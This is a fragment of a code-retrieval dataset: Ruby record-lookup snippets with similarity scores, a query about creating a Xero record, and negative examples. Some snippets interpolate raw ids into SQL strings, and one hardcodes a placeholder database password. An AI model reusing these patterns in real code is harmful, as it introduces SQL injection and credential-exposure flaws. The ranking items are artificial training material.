self.new(result_hash)\n end\n return results_as_objects.first \n end", "def filter(object)\n @id_by == :is_a? ? is(object) : kind(object)\n end", "def is_type?\n @predicate.to_s == \"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\"\n end", "def is?(type)\n predicate_name = type.to_s + \"?\"\n if respond_to? predicate_name\n __send__ predicate_name\n end\n false\n end", "def search_type(value)\n fresh.tap do |criteria|\n criteria.search_type_value = value\n end\n end", "def method_missing(method, *args)\n if method =~ /find/\n finder = method.to_s.split('_by_').first\n attributes = method.to_s.split('_by_').last.split('_and_')\n\n chain = Dynamoid::Criteria::Chain.new(self)\n chain.query = Hash.new.tap {|h| attributes.each_with_index {|attr, index| h[attr.to_sym] = args[index]}}\n \n if finder =~ /all/\n return chain.all\n else\n return chain.first\n end\n else\n super\n end\n end", "def find(record_id)\n self.new(CONNECTION.execute(\"SELECT * FROM #{get_table_name} WHERE id = #{record_id}\").first)\n end", "def find_by(attribute, value)\n row = connection.get_first_row <<-SQL\n SELECT #{columns.join \",\"} FROM #{table}\n WHERE #{attribute} = #{BlocRecord::Utility.sql_strings(value)};\n SQL\n\n # converts a row into an object\n init_object_from_row(row)\n end", "def by_t(type)\n return self.find_all{|slot| slot.type == type}[0]\n end", "def collect_records(*items, all: false, force: false, type: nil, **opt)\n raise 'If :all is true then no items are allowed' if all && items.present?\n opt = items.pop if items.last.is_a?(Hash) && opt.blank?\n Log.warn { \"#{__method__}: no criteria supplied\" } if all && opt.blank?\n type ||= record_class\n items = items.flatten.compact\n failed = []\n if items.present?\n # Searching by identifier (possibly modified by other criteria).\n items =\n items.flat_map { |item|\n item.is_a?(type) ? item : expand_ids(item) if item.present?\n }.compact\n identifiers = items.reject { |item| item.is_a?(type) }\n if identifiers.present?\n found = {}\n id_key = id_column.to_s\n sid_key = self.class.safe_const_get(:SID_COLUMN).to_s\n type.get_records(*identifiers, **opt).each do |record|\n id = record.try(id_key) and found.merge!(id.to_s => record)\n sid = record.try(sid_key) and found.merge!(sid.to_s => record)\n end\n items.map! { |item| !item.is_a?(type) && found[item] || item }\n items, failed = items.partition { |i| i.is_a?(type) } unless force\n end\n elsif all\n # Searching for non-identifier criteria (e.g. { user: @user }).\n items = type.get_records(**opt)\n end\n return items, failed\n end", "def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend", "def any(options = {})\n\t get_records('-findany', {}, options)\n\t end", "def get_record(identifier)\n find_by(**id_term(identifier))\n end", "def afc(cond)\n Actor.find(:all, :conditions => cond)\n end", "def query_rally(type, query_string, fetch)\n type = \"hierarchicalrequirement\" if type == \"userstory\"\n\n test_query = RallyAPI::RallyQuery.new()\n test_query.type = type\n test_query.query_string = query_string\n test_query.fetch = fetch\n\n rally.find(test_query)\nend", "def find_phoneable\n phoneable_type.to_s.classify.constantize.find(phoneable_id)\n end", "def model(name_or_type)\n table = Brief::Model.table\n\n table.fetch(name_or_type) do\n table.values.find do |k|\n k.name == name_or_type\n end\n end\n end", "def model(name_or_type)\n table = Brief::Model.table\n\n table.fetch(name_or_type) do\n table.values.find do |k|\n k.name == name_or_type\n end\n end\n end", "def matches?(predicate, value = nil)\n if type.nil? # Always false if attribute predicate is not defined\n return false\n end\n if value == nil # Checking predicates\n return type.to_s == predicate.to_s\n end\n unless value.respond_to? :new # Converting instance to a class\n value = value.class\n end\n if model.nil? # Value is not nil, but model is undefined\n return false\n end\n if value.type != model.type # Value type and model type should match\n return false\n end\n if predicate.nil? # Value and model types match\n true\n else\n predicate == type\n end\n end", "def fetch_record_by_param\n model.find(params[:id])\n end", "def read(query)\n# STDERR.puts \"BugzillaAdapter::read\"\n# fields = query.fields\n# STDERR.puts \"fields #{fields.inspect}\"\n# types = fields.map { |property| property.primitive }\n# STDERR.puts \"types #{types.inspect}\"\n records = records_for(query)\n# query.filter_records(records)\n end", "def get_record_types\n get_records_with_filter {|records, record_type, offset, ptr| records.push(ptr[0])}\n end", "def find_contactable contact\n contactable_type = contact.contactable_type\n id_param = contactable_type.classify.constantize.find(contact.contactable_id)\n return contactable = id_param\n end", "def for_favoritor_type favoritor_type\n where favoritor_type: favoritor_type\n end", "def details_by_type_and_id(type, id)\n get(resource_path_for_entity_type(type) + \"/#{id}\")\n end", "def find_eles_by_predicate(class_name: '*', value:)\n predicate = if class_name == '*'\n %(name == \"#{value}\" || label == \"#{value}\" || value == \"#{value}\")\n else\n %(type == \"#{class_name}\" && ) +\n %((name == \"#{value}\" || label == \"#{value}\" || value == \"#{value}\"))\n end\n @driver.find_elements :predicate, predicate\n end", "def record_with_type?(record)\n record.include?(inheritance_column) && !record[inheritance_column].nil? && \n !record[inheritance_column].empty?\n end", "def find_resource resource, conditions\n klass, instance = parse_resource_args resource\n conditions = conditions.to_hash_from_story unless (conditions.is_a? Hash)\n klass.find(:first, :conditions => conditions)\nend", "def find(record_id)\n result = DATABASE.execute(\"SELECT * FROM #{table} WHERE id = #{record_id}\").first\n\n self.new(result)\n end", "def load(pk, klass)\n return nil unless pk\n\n sql = \"SELECT * FROM #{klass.table} WHERE #{pk_field klass}=#{quote(pk)}\"\n sql << \" AND ogtype='#{klass}'\" if klass.schema_inheritance_child?\n res = query sql\n read_one(res, klass)\n end", "def get_by_type(type)\r\n facts2typerule = {:methodcall => [:cant_access, :can_access],\r\n :inheritance => [:cant_extend, :can_extend],\r\n :objcreation => [:cant_create, :can_create]}\r\n\r\n find_all { |x| facts2typerule[type].index(x.type_interaction) != nil }\r\n end", "def find_by()\n\n end", "def find_by_target_and_voter(target, voter)\n Factoid.first(:conditions => ['target LIKE ? AND voter LIKE ?', target, voter])\n #return nil unless records && records.size > 0\n #records[0]\n end", "def get_query_type_from_result( json_data )\n retval = nil\n object_class_name = json_data[ \"objectClassName\" ]\n if object_class_name != nil\n case object_class_name\n when \"domain\"\n retval = QueryType::BY_DOMAIN\n when \"ip network\"\n retval = QueryType::BY_IP\n when \"entity\"\n retval = QueryType::BY_ENTITY_HANDLE\n when \"autnum\"\n retval = QueryType::BY_AS_NUMBER\n when \"nameserver\"\n retval = QueryType::BY_NAMESERVER\n end\n end\n if json_data[ \"domainSearchResults\" ]\n retval = QueryType::SRCH_DOMAINS\n elsif json_data[ \"nameserverSearchResults\" ]\n retval = QueryType::SRCH_NS\n elsif json_data[ \"entitySearchResults\" ]\n retval = QueryType::SRCH_ENTITY_BY_NAME\n end\n return retval\n end", "def rules_for_type(type)\n FILTER_VALUES.each do |rule|\n return rule if rule[:type] == type\n end\n nil\n end", "def get(obj)\n collection, query = get_type_info(obj)\n\n record = retrieve(collection, query, limit: 1).first\n return nil unless record\n\n obj.class.new(record)\n end", "def is_first?(obj, where_hash = {})\n klass = obj.class.to_s.constantize\n klass.where(where_hash).count == 0\nend", "def chef_search(type, query=\"*:*\")\n chef_scopes = fetch(:chef_scopes) || []\n queries = [chef_scopes, query].flatten.join(\" AND \")\n puts \"Searching Chef types \\\"#{type}\\\" with \\\"#{queries}\\\"\" if debug?\n results = chef_query_class.new.search(type, queries).first\n puts \"Found #{results.count}\" if debug?\n results\n end", "def filter(param, type:, operation:, column: nil, required: false, format_value: nil)\n query_param = param.to_s.underscore\n column ||= param.to_s.underscore\n op = operations.fetch(operation.to_sym) { raise ArgumentError, \"unknown operation #{operation}\" }\n sql = op.call(column, query_param, type)\n raw_filter(param, sql:, required:, format_value:, query_param:, array: op.array)\n end", "def query(model, hash)\n definition = select_definition_from_model(model)\n parse_filter(definition, hash)\n end", "def find(record_id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n end", "def get_matches_by_recno_index(query_type, filter, select_cond)\r\n good_matches = []\r\n idx_struct = Struct.new(:recno)\r\n\r\n begin\r\n @db.engine.get_recno_index(self).each_key do |key|\r\n good_matches << key if select_cond.call(idx_struct.new(key))\r\n end\r\n rescue NoMethodError\r\n raise \"You can only use recno field in select block!\"\r\n end\r\n\r\n return nil if good_matches.empty?\r\n return get_matches_by_recno(query_type, filter, good_matches)\r\n end", "def find(name = nil, type = nil)\n if name.nil?\n result = @entries\n else\n result = @entries.select {|entry| entry.name == name}\n end\n\n if type.nil?\n return result\n else\n return @entries.select {|entry| entry.type == type}\n end\n end", "def search_by_db_id(id, type)\n url = @base_url\n url += \"/search/id/\"\n case type\n when \"tvdb\"\n url += \"tvdb/\"\n url += id.to_s\n when \"themoviedb\"\n url += \"themoviedb/\"\n url += id.to_s\n when \"imdb\"\n url += \"imdb/\"\n url += id\n else\n puts \"That id type does not exist\"\n return\n end\n @client.query(url)\n end", "def find_by_name_and_type(name, type)\n by_optype = model_method_list.find_all { |mm| mm.operator_type? type }\n\n by_optype.find { |mm| mm.operator? name }\n end", "def get_record(param)\n db = Sequel.connect('postgres://username:password@localhost:5432/shorty')\n if param.is_a?(Integer)\n @data = db[:data].limit(param).order(:id.desc).all\n else\n @data = db[:data].filter(:surl => param).first\n end\nend", "def get(item_type, item_id)\n all(item_type).detect { |item| item[:id].to_i == item_id.to_i }\n end" ]
[ "0.6488924", "0.630943", "0.61923885", "0.61918306", "0.5993511", "0.5993511", "0.5957609", "0.58684075", "0.5865582", "0.5865582", "0.5776533", "0.5727638", "0.57067114", "0.5671334", "0.563146", "0.5611301", "0.55389565", "0.5537257", "0.5524043", "0.548871", "0.5486767", "0.5476483", "0.5474564", "0.5466461", "0.54324967", "0.5416053", "0.54075176", "0.5401915", "0.53659916", "0.5365833", "0.53422755", "0.5337439", "0.5335873", "0.5321158", "0.5317666", "0.5305715", "0.5303009", "0.53019696", "0.53012884", "0.52964014", "0.52934337", "0.5290669", "0.5287439", "0.528406", "0.5283076", "0.52816725", "0.5276333", "0.52725476", "0.5265943", "0.5262364", "0.52615666", "0.5253923", "0.52502865", "0.5248808", "0.5248612", "0.52444065", "0.5243931", "0.5220537", "0.5218682", "0.52097124", "0.5206313", "0.51892865", "0.5180518", "0.5179093", "0.5178062", "0.5166386", "0.5165438", "0.5162759", "0.5158747", "0.5155769", "0.5155769", "0.51523304", "0.51509744", "0.5144907", "0.5144297", "0.5143816", "0.5137714", "0.5134675", "0.51343775", "0.5127995", "0.512186", "0.512098", "0.51202923", "0.5115426", "0.5115078", "0.51147485", "0.5113164", "0.510659", "0.51042414", "0.5103392", "0.5100358", "0.5097607", "0.50945926", "0.50933665", "0.5091685", "0.50804573", "0.5075761", "0.50745094", "0.5070716", "0.5070219" ]
0.581817
10
Update a record based on the diff with the local model
def update_record(record, model) raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def edit(diff, value)\n self.record(diff)\n end", "def update\n record.assign_attributes(data)\n record.save! if record.changed?\n end", "def update(model)\n id, data = model.primary_key_value, model.changes_for_save\n store.update(id, data, table: table_name)\n end", "def update(model_data)\n end", "def update!(**args)\n @record = args[:record] if args.key?(:record)\n end", "def update\n @dirty = true\n end", "def adjust_after_update\n # The record is in @record, do what you will, this precedes a save.\n end", "def update\n upsert do\n # NOTE:\n # 1. update ++then++ valid to set new values in @record to draw form.\n # 1. user_scoped may have joins so that record could be\n # ActiveRecord::ReadOnlyRecord so that's why access again from\n # model.\n @record = model.find(user_scoped.find(params[:id]).id)\n #upsert_files\n if !@record.update_attributes(permitted_params(:update))\n raise ActiveRecord::RecordInvalid.new(@record)\n end\n end\n end", "def update_matching_model(match, new_model)\n changed = 0\n new_model.class.column_names.each do |k|\n next if (new_model[k] == match[k]) || STANDARD_COLUMNS.include?(k) # nothing to do or column should remain same\n changed += 1\n # logger.info \"XXX #{k} XXX old: #{match[k]} => new: #{new_model[k]}\" if new_model[k] != match[k]\n match.update_attributes(k => new_model[k])\n end\n logger.info \"Updated matching model of type '#{match.class}' of id: #{match.id} with #{changed} modified fields\"\n match.save\n end", "def sync_local_model_status(model, record)\n true\n end", "def update_local\n # TODO\n end", "def update(instance, accumulator)\n diff = accumulator.diff(@mapping.convert(@mapping.salesforce_model, instance.attributes))\n attributes = @mapping.convert_from_salesforce(instance.record_type, diff)\n\n instance.update!(attributes)\n end", "def update_personal_record\r\n attributes = {\r\n user_id: self.workout_session.user_id,\r\n exercise_id: self.exercise_id\r\n }\r\n pr = PersonalRecord.where(attributes).first_or_initialize\r\n\r\n pr.resistance ||= self.resistance\r\n\r\n pr.resistance = self.resistance unless pr.resistance > self.resistance\r\n\r\n pr.save\r\n end", "def update\n validate_save_and_respond(load_change_set, :edit)\n end", "def update!(**args)\n @has_referenced_entity_at_creation = args[:has_referenced_entity_at_creation] if args.key?(:has_referenced_entity_at_creation)\n @record_id = args[:record_id] if args.key?(:record_id)\n end", "def history_update\n return if !saved_changes?\n\n # return if it's no update\n return if new_record?\n\n # new record also triggers update, so ignore new records\n changes = saved_changes\n history_changes_last_done&.each do |key, value|\n if changes.key?(key) && changes[key] == value\n changes.delete(key)\n end\n end\n self.history_changes_last_done = changes\n #logger.info 'updated ' + self.changes.inspect\n\n return if changes['id'] && !changes['id'][0]\n\n ignored_attributes = self.class.instance_variable_get(:@history_attributes_ignored) || []\n ignored_attributes += %i[created_at updated_at]\n\n changes.each do |key, value|\n\n next if ignored_attributes.include?(key.to_sym)\n\n # get attribute name\n attribute_name = key.to_s\n if attribute_name[-3, 3] == '_id'\n attribute_name = attribute_name[ 0, attribute_name.length - 3 ]\n end\n\n value_id = []\n value_str = [ value[0], value[1] ]\n if key.to_s[-3, 3] == '_id'\n value_id[0] = value[0]\n value_id[1] = value[1]\n\n if respond_to?(attribute_name) && send(attribute_name)\n relation_class = send(attribute_name).class\n if relation_class && value_id[0]\n relation_model = relation_class.lookup(id: value_id[0])\n if relation_model\n if relation_model['name']\n value_str[0] = relation_model['name']\n elsif relation_model.respond_to?('fullname')\n value_str[0] = relation_model.send('fullname')\n end\n end\n end\n if relation_class && value_id[1]\n relation_model = relation_class.lookup(id: value_id[1])\n if relation_model\n if relation_model['name']\n value_str[1] = relation_model['name']\n elsif relation_model.respond_to?('fullname')\n value_str[1] = relation_model.send('fullname')\n end\n end\n end\n end\n end\n data = {\n history_attribute: attribute_name,\n value_from: value_str[0].to_s,\n value_to: value_str[1].to_s,\n id_from: value_id[0],\n id_to: value_id[1],\n }\n #logger.info \"HIST NEW #{self.class.to_s}.find(#{self.id}) #{data.inspect}\"\n history_log('updated', data)\n end\n end", "def _update_record(attribute_names = self.attribute_names)\n if self.is_passthrough\n super(attribute_names)\n else\n # Cap the old one\n old = self.class.where(id: self.id, dfrom: self.dfrom).first\n old.is_passthrough = true\n current_times = ActiveRecord::Base.connection.execute(\"SELECT NOW() - INTERVAL '1 microsecond' AS old, NOW() AS new;\").first\n # %%% Lame way to do this, but users tables with bcrypt are some hell\n if self.attribute_names.include?(\"password_digest\")\n ActiveRecord::Base.connection.execute(\"UPDATE users SET dto = '\"+current_times[\"old\"]+\"' WHERE dfrom= '\"+self.dfrom.utc.strftime(\"%Y-%m-%d %H:%M:%S.%6N\")+\"' AND id= \" + self.id.to_s)\n else\n old.update(dto: current_times[\"old\"].to_datetime)\n end\n # Now INSERT the new version\n new_one = self.dup\n new_one.id = self.id\n self.dfrom = new_one.dfrom = current_times[\"new\"].to_datetime\n new_one.save\n end\n end", "def update_local(field=nil)\n flds = field ? ( field.is_a?(Array) ? field : [field] ) : fields\n flds.each do |fld|\n old_val = loc_obj.send(fld[:loc_key]) rescue 'empty'\n new_val = if fld[:trans] #call transfer function\n fld[:trans][:obj].constantize.send( fld[:trans][:loc_trans], rem_object.send( fld[:rem_key] ) )\n else # lookup directly on local object\n rem_obj.send(fld[:rem_key])\n end\n loc_obj.send( \"#{fld[:loc_key]}=\", new_val )\n # write to log\n log << \"local: #{fld[:loc_key]} was: #{old_val} updated from remote: #{fld[:rem_key]} with value: #{new_val}\"\n end\n end", "def update(request) \n # get the old data from the request object\n old_data = request.oldValues\n # get the date from the request object\n update_data = request.data\n\t \t \n new_id = update_data[@pk]\n # merge to hash objects \n merged_data = old_data.merge!(update_data) \n merged_data.delete(@pk)\n \n #update\n @model.update(new_id, merged_data) \t \n\t response = DSResponse.new \n response.status = 0 \n return response\n end", "def update_record\n record = Query.new(table)\n .index(primary_index[:name])\n .index_segments(primary_index_segments)\n .eq\n\n record.with_write_lock! do\n @dirty_attributes.each do |key, _|\n record.set_field(key, @attributes[key])\n end\n record.write!\n end\n\n @new_record, @dirty_attributes = false, {}\n return true\n end", "def update\n\n end", "def touch_with_version(name = nil)\n unless @record.persisted?\n raise ::ActiveRecord::ActiveRecordError, \"can not touch on a new record object\"\n end\n attributes = @record.send :timestamp_attributes_for_update_in_model\n attributes << name if name\n current_time = @record.send :current_time_from_proper_timezone\n attributes.each { |column|\n @record.send(:write_attribute, column, current_time)\n }\n unless will_record_after_update?\n record_update(force: true, in_after_callback: false)\n end\n @record.save!(validate: false)\n end", "def update!(**args)\n @formatted_diff = args[:formatted_diff] if args.key?(:formatted_diff)\n end", "def _update_record(*args, &block)\n attributes_values = changes.map{|k, v| [k.to_sym, v.last]}.to_h\n\n if attributes_values.empty?\n rows_affected = 0\n else\n rows_affected = self.class.unscoped._update_record attributes_values, id, id_was\n end\n\n yield(self) if block_given?\n\n rows_affected\n end", "def update!(**args)\n @ending_record_id = args[:ending_record_id] if args.key?(:ending_record_id)\n @starting_record_id = args[:starting_record_id] if args.key?(:starting_record_id)\n @write_timestamp_us = args[:write_timestamp_us] if args.key?(:write_timestamp_us)\n end", "def update\n @local = Local.find_by_number(params[:id])\n\n respond_to do |format|\n if @local.update_attributes(params[:local])\n flash[:notice] = 'Local was successfully updated.'\n format.html { redirect_to(edit_local_path(@local)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @local.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @model = args[:model] if args.key?(:model)\n @model_version_id = args[:model_version_id] if args.key?(:model_version_id)\n end", "def update!(**args)\n @model = args[:model] if args.key?(:model)\n @model_version_id = args[:model_version_id] if args.key?(:model_version_id)\n end", "def update(params)\n update_model(params)\n end", "def update(record)\n result = self.class.put(worksheet_url + \"/\" + record.id,\n :body => { \"fields\" => record.fields_for_update }.to_json,\n :headers => { \"Content-type\" => \"application/json\" }).parsed_response\n if result.present? && result[\"id\"].present?\n record.override_attributes!(result_attributes(result))\n record\n else # failed\n false\n end\n end", "def update(...)\n assign_attributes(...)\n save\n end", "def update\n if @transaction_record.update(transaction_record_params)\n @transaction_record = TransactionRecord.new\n @transaction_records = TransactionRecord.all\n @flag = true\n else\n @flag = false\n end\n end", "def update\n if @compliance_record.update(compliance_record_params)\n @compliance_record = ComplianceRecord.new\n @compliance_records = ComplianceRecord.all\n @flag = true\n else\n @flag = false\n end\n end", "def update!(**args)\n @model = args[:model] if args.key?(:model)\n end", "def _update_record(values, id, id_was) # :nodoc:\n substitutes, binds = substitute_values values\n\n scope = @klass.unscoped\n\n if @klass.finder_needs_type_condition?\n scope.unscope!(where: @klass.inheritance_column)\n end\n\n # ****** BEGIN PARTITIONED PATCH ******\n if @klass.respond_to?(:dynamic_arel_table)\n using_arel_table = @klass.dynamic_arel_table(Hash[*values.inject([]) { |result, (k, v)| result += [k.name, v] }])\n relation = scope.where(using_arel_table[@klass.primary_key].eq(id_was || id))\n bvs = binds + relation.bind_values\n um = relation\n .arel\n .compile_update(substitutes, @klass.primary_key)\n\n # NOTE(hofer): The um variable got set up using\n # klass.arel_table as its arel value. So arel_table.name is\n # what gets used to construct the update statement. Here we\n # set it to the specific partition name for this record so\n # that the update gets run just on that partition, not on the\n # parent one (which can cause performance issues).\n begin\n @klass.arel_table.name = using_arel_table.name\n @klass.connection.update(\n um,\n 'SQL',\n bvs)\n ensure\n @klass.arel_table.name = @klass.table_name\n end\n else\n # Original lines:\n relation = scope.where(@klass.primary_key => (id_was || id))\n bvs = binds + relation.bind_values\n um = relation\n .arel\n .compile_update(substitutes, @klass.primary_key)\n\n @klass.connection.update(\n um,\n 'SQL',\n bvs)\n end\n # ****** END PARTITIONED PATCH ******\n end", "def _update_record(attribute_names = self.attribute_names)\n # ****** BEGIN PARTITIONED PATCH ******\n # NOTE(hofer): This patch ensures the columns the table is\n # partitioned on are passed along to the update code so that the\n # update statement runs against a child partition, not the\n # parent table, to help with performance.\n if self.class.respond_to?(:partition_keys)\n attribute_names.concat self.class.partition_keys.map(&:to_s)\n attribute_names.uniq!\n end\n # ****** END PARTITIONED PATCH ******\n attributes_values = arel_attributes_with_values_for_update(attribute_names)\n if attributes_values.empty?\n 0\n else\n self.class.unscoped._update_record attributes_values, id, id_was\n end\n end", "def update\n \n end", "def update_records\n # Get all line items include redone body and it's serial number.\n line_items = AxOrderLineItem.find(:all, :conditions => ['item_id = ? and sales_item_reservation_number <> ?', Product::REDONE_ERP_PRODUCT_ITEM, ''], :include => :ax_order)\n \n # Get all serial numbers from ax order line items.\n serial_numbers = line_items.map(&:serial_number).sort_by { |i| i.to_i }\n \n # Calc all new serial numbers.\n new_serial_numbers = serial_numbers - self.find(:all).map(&:serial_number)\n \n # Add new serial numbers to database.\n new_serial_numbers.each do |serial_number|\n line_item = line_items.find {|i| i.serial_number == serial_number}\n self.create(\n :ax_account_number => line_item.ax_account_number,\n :ax_account_id => line_item.ax_account_id,\n :ax_order_number => line_item.ax_order_number,\n :ax_order_id => line_item.ax_order_id,\n :email_address => line_item.email_address,\n :first_name => line_item.first_name,\n :last_name => line_item.last_name,\n :serial_number => line_item.serial_number,\n :purch_order_form_num => line_item.purch_order_form_num\n )\n end\n \n # Update exist but not sent records data up to date.\n self.find(:all, :conditions => ['sent_mail = ?', false]).each do |item|\n if line_item = line_items.find {|i| i.serial_number == item.serial_number}\n item.update_attributes(\n :ax_account_number => line_item.ax_account_number,\n :ax_account_id => line_item.ax_account_id,\n :ax_order_number => line_item.ax_order_number,\n :ax_order_id => line_item.ax_order_id,\n :email_address => line_item.email_address,\n :first_name => line_item.first_name,\n :last_name => line_item.last_name,\n :serial_number => line_item.serial_number,\n :purch_order_form_num => line_item.purch_order_form_num\n ) unless compare_equal?(item, line_item)\n end\n end\n end", "def before_update_save(record)\n @record.attributes = params[:record]\n end", "def before_update_save(record)\n @record.attributes = params[:record]\n end", "def update\n validate_save_and_respond(update_change_set, :edit)\n end", "def matterful_update(source,options={})\n options = options.dup\n # Pay attention to this! Reversing comparison to get expected results\n if !(target_attributes = source.matterful_diff(self, options)).empty?\n target_attributes.each_pair do |k,v|\n self[k] = v\n end\n end\n self\n end", "def update\r\n end", "def update_setpoint_diff\n\t\tself[\"setpoint_diff\"] = self.live_setpoint - self.saved_setpoint\n\t\tself[\"formatted_setpoint_diff\"] = FormattedNumber.new(DEFAULT_NUMBER_FORMAT, setpoint_diff)\n\tend", "def update_record!(record, hash, inventory_object)\n record.assign_attributes(hash.except(:id))\n if !inventory_collection.check_changed? || record.changed?\n record.save\n inventory_collection.store_updated_records(record)\n end\n\n inventory_object.id = record.id\n end", "def update\n respond_to do |format|\n if @diff.update(diff_params)\n format.html { redirect_to @diff, notice: 'Diff was successfully updated.' }\n format.json { render :show, status: :ok, location: @diff }\n else\n format.html { render :edit }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @diff.update(diff_params)\n format.html { redirect_to @diff, notice: 'Diff was successfully updated.' }\n format.json { render :show, status: :ok, location: @diff }\n else\n format.html { render :edit }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @local.update_attributes(params[:local])\n format.html { redirect_to(@local, :notice => 'Local was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @local.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\t\t\n\t\tend", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update ; end", "def update_record(item = nil, no_raise: false, **prm)\n keep_date = updated_at = old_values = nil\n # noinspection RubyMismatchedReturnType\n super { |record, attr|\n opt = attr.extract!(*ManifestItem::UPDATE_STATUS_OPTS)\n keep_date = !opt[:overwrite] unless opt[:overwrite].nil?\n new_fields = keep_date.nil? && attr.except(*NON_EDIT_KEYS).keys.presence\n old_values = new_fields && record.fields.slice(*new_fields)\n updated_at = record[:updated_at]\n }&.tap { |record|\n if keep_date.nil?\n keep_date = old_values&.all? { |k, v| record[k].to_s == v.to_s }\n end\n record.set_field_direct(:updated_at, updated_at) if keep_date\n }\n end", "def update\n \n end", "def update\n check_fields\n sql = \"UPDATE #{table} SET #{to_update_record_str} WHERE id=#{@id}\"\n Database.transaction(sql)\n @log.debug \"Record[#{self}] is updated on Table[#{table}]\"\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update \n end", "def update_record(table, values, org_key = nil)\n update table_update_query(table, values, org_key)\n end", "def set_diff\n @diff = Diff.find(params[:id])\n end", "def update\n\n end", "def update\n @dummy_record = DummyRecord.find(params[:id])\n\n respond_to do |format|\n if @dummy_record.update_attributes(params[:dummy_record])\n format.html { redirect_to @dummy_record, :notice => 'Dummy record was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @dummy_record.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n\r\n end" ]
[ "0.6667564", "0.6306046", "0.62460834", "0.6227222", "0.62146455", "0.61742896", "0.6150635", "0.6113346", "0.6065087", "0.6064845", "0.5976165", "0.59336424", "0.5931565", "0.59181887", "0.5895394", "0.58606786", "0.5840479", "0.5827118", "0.58123684", "0.5804123", "0.58020127", "0.57995105", "0.5780148", "0.5776222", "0.5751951", "0.5741901", "0.57301664", "0.57301664", "0.5720771", "0.5720582", "0.57151765", "0.57085097", "0.5702363", "0.5698328", "0.5688346", "0.56860614", "0.56719196", "0.5670858", "0.5670304", "0.5670304", "0.56666404", "0.5665175", "0.56629324", "0.5655125", "0.56528854", "0.5651134", "0.5651134", "0.5629968", "0.5618496", "0.5617777", "0.5617777", "0.5617777", "0.5617777", "0.5617777", "0.5617777", "0.5617777", "0.5617777", "0.5611193", "0.56102663", "0.56076705", "0.5607655", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.5603183", "0.559458", "0.5591693", "0.5584316", "0.5570826", "0.5561373", "0.5551503" ]
0.0
-1
Create a new xero record. This is called when the find_xero methods return nil
def create_record raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create(params = {}, attributes = {})\n raise ArgumentError.new(\"Record already exists for '#{params[:id]}'\") if self.is_exist?(params[:id])\n if self.validates_presence\n self.validates_presence.each do |field|\n raise ArgumentError.new(\"Missing required field '#{field}'\") unless params[field]\n end\n end\n o = self.new\n o.id = params[:id].nil? ? o.next_id : params[:id]\n params[:rho__id] = params[:id]\n populate_model(o,params)\n populate_attributes(o,attributes)\n end", "def create objid\n DataObj.new @repo, self, objid, true\n end", "def create(record)\n raise Octothorpe::BadHash if record.nil?\n ot = Octothorpe.new(record)\n\n if id_ai\n ot = ot.reject{|k,_| k == id_fld}\n else\n raise(ArgumentError, \"ID field missing from record\") if ot[id_fld].nil?\n end\n\n sql, vals = sql_insert(ot)\n x = select sql_subst(sql, *vals.map{|v| quote v})\n x.first[id_fld]\n\n rescue Octothorpe::BadHash\n raise ArgumentError, \"Bad type for record parameter\"\n rescue\n handle_error $!\n end", "def create_record!(record)\n @created += 1\n begin\n ar_record = target_class.new(record_attributes(record))\n ar_record.save!\n return ar_record\n rescue ActiveRecord::RecordInvalid => e \n ar_record.save!(:validate => false)\n @invalid_records += 1\n raise e\n end\n end", "def create\n @xpto = Xpto.new(params[:xpto])\n\n respond_to do |format|\n if @xpto.save\n format.html { redirect_to @xpto, notice: 'Xpto was successfully created.' }\n format.json { render json: @xpto, status: :created, location: @xpto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @xpto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(record)\n result = self.class.post(worksheet_url,\n :body => { \"fields\" => record.fields }.to_json,\n :headers => { \"Content-type\" => \"application/json\" }).parsed_response\n if result.present? && result[\"id\"].present?\n record.override_attributes!(result_attributes(result))\n record\n else # failed\n false\n end\n end", "def create(params = {})\n record = new(params)\n record.save && record\n end", "def create\n # Create a new record from the params and make it become\n # an external system (e.g. Primo) object if possible\n # in order to kick off callbacks\n @record = user.records.new(record_params).becomes_external_system\n flash[:notice] = t('record.flash.actions.create.notice') if @record.save!\n # Need to specify location due to external system inheritance\n 